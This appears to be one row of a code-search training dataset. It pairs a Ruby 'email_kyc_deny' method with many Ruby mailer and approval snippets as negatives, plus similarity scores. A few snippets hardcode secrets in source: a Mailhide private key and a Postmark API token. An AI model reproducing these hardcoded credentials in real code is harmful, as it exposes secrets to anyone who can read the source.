@task = bid.task\n mail to: @bid.user.email, subject: \"Application accepted!\"\n end", "def escalate_approval\n if !self.user.manager_id.nil?\n if self.manager.manager_id.nil?\n self.auto_approve()\n else\n UserMailer.escalate_approval_email(self).deliver\n self.is_escalated = true\n self.save\n end\n end\n end", "def new_data_request_response(user_id, project_id)\n begin\n @project = Project.find(project_id)\n user = User.find(user_id)\n from DEFAULT_FROM\n reply_to DEFAULT_REPLY_TO\n subject \"SRDR - Update Regarding your Request for Data\"\n recipients user.email \n sent_on Time.now \n rescue Exception => e\n puts \"ERROR SENDING RESPONSE NOTICE: #{e.message}\\n#{e.backtrace}\\n\\n\"\n end\n end", "def send_approved_email_invoice\n settings.fetch('send_mail',{}).fetch('approved_email_attach_invoice', false)\n end", "def emailOnReview(revieweeId)\r\n puts \"we are in email on review\"\r\n @team_member = TeamsUser.find_all_by_team_id(revieweeId)\r\n asstId = Team.find_by_id(revieweeId).parent_id\r\n assignment=Assignment.find_by_id(asstId).name\r\n partialName=\"email_on_review\"\r\n @team_member.each do |team_Member|\r\n # get parameters for sending mail\r\n user=User.find_by_id(team_Member.user_id)\r\n puts \"teammate name = #(user.name)\"\r\n if(user.email_on_review)\r\n email(user.email,\"Review\",ApplicationHelper::get_user_first_name(user),assignment,partialName)\r\n end\r\n end\r\n end", "def get_activate_email\n end", "def compose_email\n @title = t 'conclusion_draft_review.send_by_email'\n end", "def approval_id\n return @approval_id\n end", "def postmark\n @program_acceptance = ProgramAcceptance.where(message_id: params[:MessageID]).first\n if @program_acceptance\n note = case params[:RecordType]\n when \"Delivery\" then \"Acceptance email delivered to #{params[:Recipient]}.\"\n when \"Bounce\" then \"Acceptance email not delivered to #{params[:Recipient]}.\\n\\n> #{params[:Description]}\"\n when \"SpamComplaint\" then \"Acceptance email to #{params[:Recipient]} flagged as spam.\"\n when \"Open\" then \"Acceptance email opened.\"\n when \"Click\" then \"Link clicked in acceptance email.\"\n end\n @program_acceptance.person.notes.create note_type: \"email-event\", message: note, data: request.request_parameters\n end\n head :ok\n end", "def loan_request_notification(owner, requester, user_lacquer)\n @owner = owner\n @requester = requester\n @user_lacquer = user_lacquer\n @user_url = \"http://www.lacquerloveandlend.com/users/#{@owner.id}\"\n\n mail(to: @owner.email, subject: \"#{@requester.name} wants to borrow #{@user_lacquer.lacquer.name}\")\n\n headers['X-MC-Track'] = \"opens, clicks_all\"\n end", "def donations_requested(user)\n setup_email_admin(user)\n @recipients = \"[email protected]\"\n @from = head_encode('\"Kroogi Contributions Request (system)\"'.t) + \" <[email protected]>\"\n @subject += head_encode(\"Contributions requested by %s\" / user.login)\n @content_type = \"text/html\" \n @body[:url] = \"http://#{APP_CONFIG[:hostname]}/admin/donation_requests\"\n @body[:user] = user\n end", "def auto_approve?\n return user.auto_approve_comment?\n end", "def role_request_approved(instance_user)\n return if instance_user.normal?\n\n @instance_user = instance_user\n @recipient = instance_user.user\n\n ActsAsTenant.without_tenant do\n @instance = instance_user.instance\n end\n\n I18n.with_locale(instance_user.user.locale) do\n mail(to: instance_user.user.email, subject: t('.subject'))\n end\n end", "def request_for_agreement(name, email, token)\n @token = token\n @name = name\n\n subject = 'Signature request: Columbia Academic Commons participation agreement'\n mail(to: email, subject: subject)\n end", "def approval_of_admin\n status = params[:status]\n @order = Order.find(params[:id])\n @order.update_attributes!(:status => status)\n @order_email = Order.find(params[:id])\n if status == \"5\"\n @reviewer = @order.reviews.last.user\n OrderMailer.admin_review_approved(@order_email, @reviewer).deliver_now\n elsif status == \"6\"\n @reviewer = @order.reviews.last.user\n OrderMailer.admin_review_rejected(@order_email,@reviewer).deliver_now\n user = User.find(@order.user_id)\n user_orders_count = user.orders.count\n if user_orders_count == 1\n @order.update_attributes!(:status => 7)\n end\n end\n redirect_to admin_reviewed_by_reviewer_path , :notice => \"Order successfully updated.\"\n end", "def approval_confirm\n @minimal_ui = true\n \n case params[:decision]\n when 'approve'\n render :confirm_approve\n when 'disapprove'\n render :confirm_disapprove\n else\n raise\n end\n end", "def user_approved(liga_user)\n @league = liga_user.league\n @user = liga_user.user\n\n @subject = \"[#{SITE_NAME}] You are now a member of #{@league.display_name}\"\n mail(to: DEFAULT_FROM_ADDRESS, bcc: @user.email, subject: @subject)\n end", "def receipt\n mail(\n to: \"[email protected]\",\n subject: \"New for review for your commute\"\n )\n end", "def accept!(user_id)\n if self.approved_at.nil?\n # Approvability::Notifier.confirm_approval(self).deliver # Send an email to the contributor\n self.update_attributes(rejected_at: nil, approved_at: Time.now, user: user_id)\n end\n self\n end", "def reminder_to_request_departmental_approval(name, email)\n @name = name\n\n mail(to: email, subject: 'Department approval may be needed')\n end", "def get_approver_emails\n provider_targets = if Rails.env.production?\n %w[SCIOPS]\n elsif Rails.env.development? || Rails.env.test?\n %w[MMT_2]\n elsif Rails.env.sit? || Rails.env.uat?\n %w[SCIOPS SCIOPSTEST]\n end\n\n approvers_urs_users = []\n\n provider_targets.each do |provider_target|\n # Find the ACL for correct provider in this env.\n find_acl_response = cmr_client.get_permissions({ 'provider' => provider_target, 'target' => 'NON_NASA_DRAFT_APPROVER', 'include_full_acl' => true }, token)\n Rails.logger.debug(\"ACL query response while trying to send approvers emails on proposal submission for #{provider_target}: #{find_acl_response.body}\")\n next unless find_acl_response.success? && find_acl_response.body['items'].count == 1\n\n approver_groups_list = find_acl_response.body['items'][0]['acl']['group_permissions'].map { |group| group['group_id'] if group['permissions'].include?('create') }.compact\n next if approver_groups_list.empty?\n\n # For each group that has this acl, collect the users to send to URS\n approver_groups_list.each do |group|\n group_member_response = cmr_client.get_edl_group_members(group)\n next unless group_member_response.success?\n\n approvers_urs_users += group_member_response.body\n end\n end\n return [] if approvers_urs_users.empty?\n\n # Get e-mails from URS using user names\n approver_urs_users = retrieve_urs_users(approvers_urs_users.uniq)\n approver_emails = []\n approver_urs_users.each do |approver|\n approver_emails.push(name: \"#{approver['first_name']} #{approver['last_name']}\", email: approver['email_address'])\n end\n approver_emails\n end", "def approved?\n (status == APPROVED)\n end" ]
[ "0.66857827", "0.6537127", "0.6378747", "0.63589156", "0.63566065", "0.63520384", "0.6348529", "0.61139035", "0.6097678", "0.6060128", "0.60555786", "0.6052152", "0.60403436", "0.60151994", "0.59832114", "0.5970294", "0.5968385", "0.59408766", "0.59185123", "0.5907257", "0.59065795", "0.58910286", "0.5880135", "0.58669853", "0.5863224", "0.5862344", "0.58570087", "0.58569604", "0.5852801", "0.5836209", "0.58351415", "0.5820081", "0.5806109", "0.5801567", "0.57983696", "0.5788221", "0.57826966", "0.57798946", "0.57754135", "0.57726055", "0.57521456", "0.5747393", "0.57373774", "0.5732715", "0.5731557", "0.5717541", "0.57154626", "0.57122296", "0.57080495", "0.56809753", "0.5678762", "0.5674532", "0.56718886", "0.5670527", "0.5670282", "0.5664969", "0.56592107", "0.565195", "0.56434035", "0.5642504", "0.56191146", "0.5595718", "0.5595596", "0.5571452", "0.5565919", "0.55586225", "0.55573833", "0.5557213", "0.5553327", "0.5541874", "0.55282027", "0.55272424", "0.5523638", "0.5522666", "0.5514198", "0.55012935", "0.55011636", "0.5489615", "0.54760957", "0.5465299", "0.54639304", "0.54591453", "0.5455803", "0.54508424", "0.5450747", "0.5449703", "0.5440947", "0.5429809", "0.54115885", "0.5403827", "0.54036903", "0.53994983", "0.53909504", "0.5389685", "0.5382691", "0.5377063", "0.5374308", "0.5372805", "0.53698087", "0.53667796" ]
0.74177253
0
Get response for sending KYC deny email Author: Mayur Date: 14/12/2018 Reviewed By:
def email_kyc_deny(data_to_format) {} end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def email_kyc_approve(data_to_format)\n {}\n end", "def send_denied_email\n return if ([email protected]_email_setup_done?) || ([email protected]_kyc_config_detail.auto_send_kyc_deny_email?)\n if @user_kyc_detail.kyc_denied?\n @user = User.using_client_shard(client: @client).\n where(client_id: @client_id, id: @user_kyc_detail.user_id).first\n Email::HookCreator::SendTransactionalMail.new(\n client_id: @client.id,\n email: @user.email,\n template_name: GlobalConstant::PepoCampaigns.kyc_denied_template,\n template_vars: {}\n ).perform\n end\n end", "def failed_authorization_request_body\n <<-REQUEST\n cancelUrl=http%3A%2F%2Ftest.smackaho.st%3A3000%2Ffailure&returnUrl=http%3A%2F%2Ftest.smackaho.st%3A3000%2Fsuccess&senderLastName=Grimfelt&receiverList.receiver(0).amount=1.0&memo=test&senderEmail=grimen%40example.com&custom=&receiverList.receiver(0).email=ashraf%40example.com&currencyCode=SEK&senderFirstName=Jonas\n REQUEST\n end", "def response(expo_attendee_id)\n @expo_attendee = ExpoAttendee.find(expo_attendee_id)\n mail(to: @expo_attendee.email, subject: \"#{@expo_attendee.first_name} , you've entered the draw to win two free movie tickets.\")\n end", "def response_request(leaveapplication)\n @leaveapplication = leaveapplication \n mail :to=> User.find(@leaveapplication.user_id).email.to_s,:cc=> \"[email protected]\",:subject=>\"Response\"\n end", "def rejected_notification\n @user = params[:user]\n mail(to: @user.email, subject: 'Library Card Request Rejected')\n end", "def leave_revoked_email_4cm(request, user, counsellor)\n @user = user\n mail( :to => @request.user.counsellor.email,\n :subject => 'User has revoked leave request' )\n end", "def account_denied(customer)\n @customer = customer\n mail to: @customer.email, subject: \"Your account has not been approved by TSHA\"\n end", "def leave_revoked_email_4cm(request, user)\n @user = user\n @request = request\n mail(\n to: @request.user.counsellor.email,\n subject: 'User has revoked leave request'\n )\n end", "def declineEmail(creator, match)\n @user = creator\n @match = match\n\n mail to: creator.email, subject: \"Your challenge has been declined!\"\n end", "def send_manual_review_needed_email\n return if (@reprocess == 1) || !@user_kyc_detail.send_manual_review_needed_email?\n\n review_type = (@client_kyc_pass_setting.approve_type == GlobalConstant::ClientKycPassSetting.auto_approve_type) &&\n (@user_kyc_comparison_detail.auto_approve_failed_reasons_array &\n GlobalConstant::KycAutoApproveFailedReason.ocr_fr_review_type_failed_reasons).present? ?\n GlobalConstant::PepoCampaigns.ocr_fr_failed_review_type :\n GlobalConstant::PepoCampaigns.manual_review_type\n\n template_variables = {\n case_id: @user_kyc_detail.id,\n full_name: @user_extended_detail.get_full_name,\n review_type: review_type\n }\n\n admin_emails = GlobalConstant::Admin.get_all_admin_emails_for(\n @user_kyc_comparison_detail.client_id,\n GlobalConstant::Admin.manual_review_needed_notification_type\n )\n\n admin_emails.each do |admin_email|\n ::Email::HookCreator::SendTransactionalMail.new(\n client_id: ::Client::OST_KYC_CLIENT_IDENTIFIER,\n email: admin_email,\n template_name: ::GlobalConstant::PepoCampaigns.manual_review_needed_template,\n template_vars: template_variables\n ).perform\n\n end\n\n end", "def ping_reviewer(review)\n\n to_list = [review[:user].email]\n cc_list = []\n subject = 'Your unresolved Design Review(s)'\n\n @user = review[:user]\n @result = review[:results]\n \n if review[:urgent]\n attachments.inline['warning.png'] = File.read('app/assets/images/warning.png')\n headers['Importance'] = 'high'\n headers['X-Priority'] = '1'\n headers['X-MSMail-Priority'] = 'High'\n end\n\n mail( :to => to_list,\n :subject => subject,\n :cc => cc_list,\n ) \n end", "def confirm(viper)\n @viper = viper\n if @viper.app_type == \"vip\"\n mail(to: @viper.email,\n subject: \"您的参展申请已经审核通过\",\n from: \"[email protected]\",\n date: Time.now,\n content_type: \"text/html\",\n body: \"亲爱的买家:\n恭喜您!您所提交的资料已经审核通过,随后我们将会安排相关的工作人员与您联系,请您携带有效证件(身份证及名片)到展会现场VIP接待处领取VIP买家证。\n\n\n展览时间:\n2015-06-25 至 2015-06-28 \n\n展览地点: \n深圳会展中心(1、9号馆) \n\n参观规则: \n §Exhibit_Rule§ \n\n如果您需要更多的信息,请您同我们联络,我们希望能够在“2015中国(深圳)国际钟表展览会 ”与您见面。 \n\n主办信息:\n2015中国(深圳)国际钟表展览会 \n电话:0755-82945180\n传真:0755-82941162 \n通信地址:深圳市福田保税区市花路福年广场B栋302室\n邮箱:[email protected]\n\n\"\n )\n else\n mail( to: @viper.email,\n subject: \"您的申请已经审核通过\",\n from: \"[email protected]\",\n date: Time.now,\n body: \"亲爱的客户:\n恭喜您!您所提交的资料已经审核通过,随后我们将会安排相关的工作人员与您联系,请您携带有效证件(身份证、参展商证)到展会现场领取晶品荟招待卡。\n\n\n\n\n展览时间:\n2015-06-25 至 2015-06-28 \n\n展览地点: \n深圳会展中心(1、9号馆) \n\n参观规则: \n §Exhibit_Rule§ \n\n如果您需要更多的信息,请您同我们联络,我们希望能够在“2015中国(深圳)国际钟表展览会 ”与您见面。 \n\n主办信息:\n2015中国(深圳)国际钟表展览会 \n电话:0755-82945180\n传真:0755-82941162 \n通信地址:深圳市福田保税区市花路福年广场B栋302室\n邮箱:[email protected]\n\")\n end\n end", "def ep_notify(form_answer_id, collaborator_id)\n @form_answer = FormAnswer.find(form_answer_id).decorate\n @user = @form_answer.user.decorate\n collaborator = User.find(collaborator_id)\n\n @current_year = @form_answer.award_year.year\n @subject = \"King's Awards for Enterprise Promotion: Thank you for your nomination\"\n\n send_mail_if_not_bounces ENV['GOV_UK_NOTIFY_API_TEMPLATE_ID'], to: collaborator.email, subject: subject_with_env_prefix(@subject)\n end", "def acceptance_email ucr\n extract_variables ucr\n\n mail to: @user.email\n end", "def leave_revoked_email_4cm(request, user, manager)\n @user = user\n mail( :to => @request.user.manager.email,\n :subject => 'User has revoked leave request' )\n end", "def admin_review_email(user, content, business, rating)\n @user = user\n @content = content\n @business = business\n @rating = rating\n mail(:to => \"[email protected]\", :subject => \"New Review on CONSIGN.NYC\")\n end", "def leave_revoked_email_4cm(request, user)\n @user = user\n @request = request\n mail(\n to: @request.user.manager.email,\n subject: 'User has revoked leave request'\n )\n end", "def send_approve_email\n 'send_approve_email'\n end", "def failed_purchase_response\n 'NUMTRANS=0000000000&NUMAPPEL=0000000000&NUMQUESTION=0000000000&SITE=1999888&RANG=99&AUTORISATION=&CODEREPONSE=00014&COMMENTAIRE=Demande trait?e avec succ?s ✔漢'\n end", "def perform\n r = validate_and_sanitize\n return r unless r.success?\n\n r = fetch_and_validate_user_kyc_detail\n return r unless r.success?\n\n create_email_hook(GlobalConstant::PepoCampaigns.kyc_denied_template)\n\n success\n end", "def email_deny(params)\n http_helper.send_post_request(\"#{@url_prefix}/#{get_user_id!(params)}/email/deny\", params)\n end", "def approved_notification\n @user = params[:user]\n mail(to: @user.email, subject: 'Library Card Request Approved')\n end", "def donations_requested(user)\n setup_email_admin(user)\n @recipients = \"[email protected]\"\n @from = head_encode('\"Kroogi Contributions Request (system)\"'.t) + \" <[email protected]>\"\n @subject += head_encode(\"Contributions requested by %s\" / user.login)\n @content_type = \"text/html\" \n @body[:url] = \"http://#{APP_CONFIG[:hostname]}/admin/donation_requests\"\n @body[:user] = user\n end", "def review_decision\n\t\tproject = @task.project\n\t\t@data[:decision_owner] = @task.assigned_to.try(:full_name)\n\t\t@data[:decision_title] = @task.title\n\t\t@data[:project_name] = project.title\n @data[:recipient_names] = recipient_names\n\t\t@data[:decision_link] = \"#{ENV['DOMAIN']}/#/app/projects/#{project.id}/tasks\"\n\t\t@template_slug = APOSTLE_MAIL_TEMPLATE_SLUG[:review_decision]\n\t\ttrigger_mail\t\t\n\tend", "def eligibility\n #Action handles GET Plan/all queries from Eligibleapi.com\n # if @eligiblity[\"error\"] then @message = \"Sorry, there was an error with the information you entered\" end\n # \n # logger.debug \"message: #{@message}\"\n end", "def rejected\n RequestMailer.rejected\n end", "def request_email ucr\n extract_variables ucr\n @url = accept_change_request_url(ucr.token)\n\n mail to: @user.email\n end", "def email_not_approved_proposal\n ProposalMailer.email_not_approved_proposal\n end", "def send_admin_review_email\n Mailer.admin_review_email(user, content, business, rating).deliver\n end", "def new_data_request_response(user_id, project_id)\n begin\n @project = Project.find(project_id)\n user = User.find(user_id)\n from DEFAULT_FROM\n reply_to DEFAULT_REPLY_TO\n subject \"SRDR - Update Regarding your Request for Data\"\n recipients user.email \n sent_on Time.now \n rescue Exception => e\n puts \"ERROR SENDING RESPONSE NOTICE: #{e.message}\\n#{e.backtrace}\\n\\n\"\n end\n end", "def kyc_denied_template\n 'kyc_denied'\n end", "def leave_request_cm_email(user, counsellor)\n @user = user\n mail( :to => @request.user.counsellor.email,\n :subject => 'New leave request(s)' )\n end", "def licence_assign_unassign_deactivate_mail(type)\n url=url_link\n user = User.find(ProductLicenceDetail.find_with_deleted(:first, :conditions => [\"product_licence_id = ?\", \"#{@product_licence.id}\"]).user_id)\n recipient = []\n recipient << user.email\n recipient << get_lawfirm_admin_email(user.id)\n cc = current_user.email\n subject = (type == \"u\"? \"Licence unassignment details\" : \"Licence de-activation details\")\n email = {}\n (type == \"u\") ? (email[:message] = \"#{Product.find(@product_licence.product_id).name} licence has been unassigned to #{user.full_name}\") : (email[:message] = \"#{Product.find(@product_licence.product_id).name} licence has been deactivated and it is currently been assigned to #{user.full_name}\")\n liviaMailer = LiviaMailer\n end", "def loan_request_notification(owner, requester, user_lacquer)\n @owner = owner\n @requester = requester\n @user_lacquer = user_lacquer\n @user_url = \"http://www.lacquerloveandlend.com/users/#{@owner.id}\"\n\n mail(to: @owner.email, subject: \"#{@requester.name} wants to borrow #{@user_lacquer.lacquer.name}\")\n\n headers['X-MC-Track'] = \"opens, clicks_all\"\n end", "def rejected(bid)\n @bid = bid\n mail :to => bid.bidder.email\n body :bid => bid\n end", "def confirm_booksbymail_email(user, bib, values)\n @to = \"[email protected]\"\n @from = \"#{user.name} <#{user.data['email']}>\"\n @subject = \"Books by Mail Request\"\n\n @title = values['title']\n @bibid = values['bibid']\n @author = values['author']\n @publication = values['publication']\n @callno = values['call_no']\n @volume = values['volume']\n @comments = values[:comments]\n @patronname = user.name \n @patronemail = values['email']\n @pennid = user.data['penn_id']\n\n if Rails.env.development?\n @subject = \"TEST \" + @subject + \" (to: #{@to}, from: #{@from})\"\n @to = ENV['DEVELOPMENT_EMAIL']\n @from = ENV['DEVELOPMENT_EMAIL']\n end\n\n mail(to: @to,\n from: @from,\n subject: @subject,\n template_name: 'confirm_booksbymail')\n end", "def confirm(blank)\n @blank = blank\n if @blank.apply_type == \"ex_apply\"\n mail(to: @blank.email,\n subject: \"您的参展申请已经审核通过\",\n from: \"[email protected]\",\n date: Time.now,\n content_type: \"text/html\",\n body: \"亲爱的参展商朋友:<br/>\n &nbsp;&nbsp;&nbsp;恭喜您,您所提交的参展申请已经审核通过,请携带个人名片、身份证及以下参展确认号至展会现场媒体接待处领取参展证。\n <ul>\n <li><a href='http://121.41.26.127/stores/1'>1号馆 左边部分</a></li>\n <li><a href='http://121.41.26.127/stores/3'>9号馆上半部分</a></li>\n <li><a href='http://121.41.26.127/stores/4'>1号馆 右边部分</a></li>\n <li><a href='http://121.41.26.127/stores/5'>9号馆下半部分</a></li>\n </ul>\n &nbsp;&nbsp;&nbsp;展览时间:
2015-06-25 至 2015-06-28 <br/>\n &nbsp;&nbsp;&nbsp;展览地点: 
深圳会展中心(1、9号馆) 
<br/>\n &nbsp;&nbsp;&nbsp;如果您需要更多的信息,请您同我们联络,我们希望能够在“2015中国(深圳)国际钟表展览会 ”与您见面。 

主办信息:
2015中国(深圳)国际钟表展览会 
电话:0755-82945180
传真:0755-82941162 
通信地址:深圳市福田保税区市花路福年广场B栋302室
邮箱:[email protected]\"\n )\n else\n mail( to: @blank.email,\n subject: \"您的记者证申请已经审核通过\",\n from: \"[email protected]\",\n date: Time.now,\n body: \"亲爱的媒体朋友:\n恭喜您,您所提交的记者证申请已经审核通过,请携带个人名片、身份证及以下记者证确认号至展会现场媒体接待处领取记者证。\n\n展览时间:
2015-06-25 至 2015-06-28 \n
展览地点: 
深圳会展中心(1、9号馆) 
\n如果您需要更多的信息,请您同我们联络,我们希望能够在“2015中国(深圳)国际钟表展览会 ”与您见面。 

主办信息:
2015中国(深圳)国际钟表展览会 
电话:0755-82945180
传真:0755-82941162 
通信地址:深圳市福田保税区市花路福年广场B栋302室
邮箱:[email protected]\")\n end\n end", "def request_approved(request)\n @request = request\n @email = @request.clid + '@louisiana.edu'\n mail to: @email, subject: \"Room Change Request Approved\"\n end", "def send_email_request_cancelled\n send_email_request_approved\n end", "def auth_bounce_reason(crdential)\n nil\n end", "def auth_bounce_reason(crdential)\n nil\n end", "def request_declined me \n @amount = me.amount\n @me = me\n @currency = me.account.currency\n subjects = \"Money request declined by recipient!\"\n mail to: me.sender.email, subject: subjects\n end", "def verification_letter(user)\n @user = user\n authorization = @user.authorizations.where(confirmed: false).first\n @url = \"http://localhost:3000/verifications/#{@user.id}/#{authorization.id}/#{authorization.checksum}/verify\"\n\n mail to: @user.email\n end", "def send_kennel_rating_email(email, kennel_id, user_id, reservation_id)\n @kennel_id = kennel_id\n @user_id = user_id\n @reservation_id = reservation_id\n mail(to: email, subject: 'PawBookings Kennel Rating')\n end", "def recap_loan_confirm\n to = params['emailAddress']\n from = '[email protected]'\n confirm_bcc = APP_CONFIG[:recap_loan][:confirm_bcc]\n recap_subject = 'Offsite Pick-Up Confirmation'\n recap_subject += \" [#{params['titleIdentifier']}]\" if params['titleIdentifier']\n recap_subject += \" (#{Rails.env})\" if Rails.env != 'valet_prod'\n subject = recap_subject\n # Make params available within template by using an instance variable\n @params = params\n mail_params = {to: to, from: from, subject: subject}\n mail_params[:bcc] = confirm_bcc if confirm_bcc\n mail(mail_params)\n end", "def response_sent_advisee(user, message)\n @user = user\n @message = message\n mail to: @user.email, subject: \"New response message from Advisor\"\n end", "def deny\n if Interface.first.nil?\n redirect_to root_url and return\n end\n\n n = Notification.find_by(id: params[:notif])\n n.actor.update_attribute(:approved, false)\n UserMailer.approved_org(n.actor.email, n.actor.organization.name).deliver_now\n end", "def beta_access_request(hacker)\n @hacker = hacker\n\n mail to: @hacker.email, subject: 'hackrLog() Beta Access Request.'\n end", "def failed_purchase_response\n 'response=2&responsetext=DECLINE&authcode=&transactionid=1869031793&avsresponse=N&cvvresponse=N&orderid=1&type=sale&response_code=200&merchant_defined_field_6=&merchant_defined_field_7=&customer_vault_id='\n end", "def denied\n ContactMailer.denied\n end", "def verify_email\n service_response = UserManagement::DoubleOptIn.new(params).perform\n render_api_response(service_response)\n end", "def response_reason_text\n unescape params['x_response_reason_text']\n end", "def deny!\n body = %(This is an unauthorised request. Your IP address has been logged and will be reported.)\n response_headers = { 'Content-Type' => 'text/plain' }\n response = Rack::Response.new(body, 400, response_headers)\n custom! response.finish\n end", "def emailOnFeedback(revieweeId)\r\n participant = Participant.find_by_id(revieweeId).user_id\r\n user=User.find_by_id(participant)\r\n asstId = Participant.find_by_id(revieweeId).parent_id\r\n assignment=Assignment.find_by_id(asstId).name\r\n partialName=\"email_on_feedback\"\r\n if(user.email_on_feedback)\r\n email(user.email,\"feedback\",ApplicationHelper::get_user_first_name(user),assignment,partialName)\r\n end\r\n end", "def show\n @decrypted = @autocrypt.decrypt(@email)\n @reply_params = {\n to: @email.from,\n subject: 'Re: ' + @email.subject,\n body: (@decrypted || @email.body).gsub(/^/, '> ')\n }\n end", "def receipt\n mail(\n to: \"[email protected]\",\n subject: \"New for review for your commute\"\n )\n end", "def mailhide(email)\n \n pubkey = \"01YEt2vML25j_mJdXHCZp5sA==\"\n privkey = \"DC8DD53D1762851B633183724D4BCD3D\"\n encrypted_email = Base64.encode64(encrypt(privkey, pad_string(email, 16))).tr('+/','-_')\n \n return \"http://mailhide.recaptcha.net/d?k=\"+pubkey+\"&c=\"+encrypted_email\n end", "def request_closed_with_winner(the_request, the_proposal, to_owner)\n @request = the_request\n @proposal = the_proposal\n mail(:to => to_owner ? @request.user.email : @proposal.user.email,\n :subject => \"La richiesta #{@request.id} è chiusa\"\n )\n end", "def received_feedback(feedback)\n @feedback = feedback\n\n mail :to => \"[email protected]\", :reply_to => feedback.email_address || (feedback.user ? feedback.user.email : nil)\n end", "def ticket_rejected\n TaskMailer.with(task: Task.first, rejected_by: 'Domenico Aracri', feedback: 'Your ticket was declined because it is a test!').ticket_rejected\n end", "def emailOnTeammateReview(revieweeId)\r\n participant = Participant.find_by_id(revieweeId).user_id\r\n user=User.find_by_id(participant)\r\n asstId = Participant.find_by_id(revieweeId).parent_id\r\n assignment=Assignment.find_by_id(asstId).name\r\n partialName=\"email_on_teammate_review\"\r\n if(user.email_on_teammate_review)\r\n email(user.email,\"TeammateReview\",ApplicationHelper::get_user_first_name(user),assignment,partialName)\r\n end\r\n end", "def emailOnMetareview(revieweeId)\r\n puts \"in Metareview\"\r\n participant = Participant.find_by_id(revieweeId).user_id\r\n asstId = Participant.find_by_id(revieweeId).parent_id\r\n user=User.find_by_id(participant)\r\n assignment=Assignment.find_by_id(asstId).name\r\n partialName=\"email_on_review_of_review\"\r\n if(user.email_on_review_of_review)\r\n email(user.email,\"Metareview\",ApplicationHelper::get_user_first_name(user),assignment,partialName)\r\n end\r\n end", "def request_approval\n reservation = Reservation.first\n ReservationMailer.request_approval(reservation)\n end", "def reject_email(email)\n @greeting = \"Hi\"\n\n mail to: email, subject: \"Your ASES Application Decision\"\n end", "def request_rejection\n reservation = Reservation.first\n ReservationMailer.request_rejection(reservation)\n end", "def loan_request_accepted_notification(transaction)\n @owner = transaction.owner\n @requester = transaction.requester\n @user_lacquer = transaction.user_lacquer\n\n mail(to: @requester.email, subject: \"#{@owner.name} has agreed to loan you #{@user_lacquer.lacquer.name}!\")\n\n headers['X-MC-Track'] = \"opens, clicks_all\"\n end", "def send_reset_password_email\n\n\n @user = User.where(:email => params[:email]).first\n\n if @user\n\n html = File.open(\"app/views/email/password_reset.html.erb\").read\n @renderedhtml = \"1\"\n ERB.new(html, 0, \"\", \"@renderedhtml\").result(binding)\n\n client = Postmark::ApiClient.new('b650bfe2-d2c6-4714-aa2d-e148e1313e37', http_open_timeout: 60)\n response = client.deliver(\n :subject => \"MailFunnels Password Reset\",\n :to => @user.email,\n :from => 'MailFunnels [email protected]',\n :html_body => @renderedhtml,\n :track_opens => 'true')\n\n response = {\n success: true,\n message: 'Your password has been sent to your email..'\n }\n\n render json: response\n\n else\n puts \"final else\"\n # Return Error Response\n response = {\n success: false,\n message: 'Sorry, we could not find an account with this email.'\n }\n\n render json: response\n\n end\n\n\n end", "def decline(emp_from, emp_to, interview)\n subject \"Interview declined\"\n recipients [ emp_to.email ]\n from [ \"[email protected]\" ]\n sent_on Time.now\n content_type 'text/html'\n body :emp_from => emp_from,\n :emp_to => emp_to,\n :interview => interview\n end", "def response(email)\n @greeting = \"Hi\"\n\n mail(to:email, subject:\"You received a payment\")\n end", "def token_receipt\n AccountsMailer.token_receipt\n end", "def negative_failure_message\n<<-EOS\nexpected the response from #{@response.request.url}\nnot to have the status 200 Ok and body 'Allowed Access'\"\nEOS\n end", "def request_denied(request)\n if !request.nil?\n @request = request\n @email = @request.clid + '@louisiana.edu'\n mail to: @email, subject: \"Room Change Request Denied\"\n end\n end", "def rejected_loan(loan, options = {})\n to_email = 'MB Servicing <[email protected]>'\n subject = (Rails.env == 'development') ? \"TESTING -- MBWEB/TSS: #{options[:reason]} Loan Notification\" : \"MBWEB/TSS: #{options[:reason]} Loan Notification\"\n @loan = loan\n @options = options\n mail(:to => to_email, :subject => subject) do |format|\n format.text\n end\n end", "def approval_needed(user)\n @user = user\n\n mail to: ENV['ADMIN_EMAIL'], subject: \"User wants approval for Thumbline Set List\"\n end", "def response\n @response ||= JSON.parse(request.feedback.body).deep_symbolize_keys if valid_body?\n end", "def get_MIT_people_email()\n \tkerberos = self.email.split('@')[0]\n \tinfo = RestClient.get 'http://web.mit.edu/bin/cgicso?', {:params => {:options => \"general\", :query => kerberos, :output =>'json'}}\n \treturn info.downcase\n\tend", "def notify_ck_unrecognized_sender(params)\n @params = params\n mail to: '[email protected]',\n subject: 'Attempted unrecognized access of the New Compliment Email API'\n end", "def subscriber_notice_approval_alert\n BrandMailer.subscriber_notice(\n brand: Brand.find_by(company_name: 'Brand Nine'),\n stage: 'approval_alert'\n )\n end", "def permission_revoked note, user\n @note = note\n @user = user\n\n mail(to: @user.email, subject: 'Você recebeu um convite para editar uma nota')\n end", "def reminder_to_request_departmental_approval(name, email)\n @name = name\n\n mail(to: email, subject: 'Department approval may be needed')\n end", "def ai_response_description\n case ai_response\n when 0 then \"Unable to respond\"\n when 1 then \"Reception acknowledged\"\n when 2 then \"Response to follow\"\n when 3 then \"Able to respond but currently inhibited\"\n else\n \"Reserved for future use\"\n end\n end", "def response(attendee_id)\n @attendee = WorkshopAttendee.find(attendee_id)\n mail(to: @attendee.email, subject: @attendee.first_name + \", you are now registered with our workshop sessions.\")\n end", "def admin_final_cover_approval_list\n %w( [email protected] )\n end", "def send_email(cab_request,pick_up_date,pick_up_time,requester,admin_emails,vendor_email)\n mail(reply_to:[requester,admin_emails,vendor_email], cc: [admin_emails,vendor_email,requester] , subject: \"[Cab Request]\", body:\n\n \"Name :\\t\" + cab_request.traveler_name+\n\n \"\\nContact_no :\\t\" + cab_request.contact_no+\n\n \"\\nFrom :\\t\" + cab_request.source+\n\n \"\\nTo :\\t\" + cab_request.destination+\n\n \"\\nOn :\\t\" + pick_up_date+\n\n \"\\nAt :\\t\" + pick_up_time+\n\n \"\\nVehicle Type :\\t\" + cab_request.vehicle_type+\n\n \"\\nOther Travellers :\\t\" + cab_request.other_travellers+\n\n \"\\nComments :\\t\" + cab_request.comments+\n\n \"\\nStatus :\\t\" + cab_request.status)\n\n end", "def review_request(user)\n @greeting = \"Hi\"\n\n mail to: \"[email protected]\"\n end", "def should_mail_submission_message? # -> email rejection message\n self.authorized == false && (self.message_sent == false && !self.message.blank?)\n end", "def email_approved_proposal\n ProposalMailer.email_approved_proposal\n end", "def confirmacionordenmesexp\n RemisorOrdenesCompraMailer.confirmacionordenmesexp\n end", "def store_review_email(user, content, business, rating)\n @user = user\n @content = content\n @business = business\n @rating = rating\n 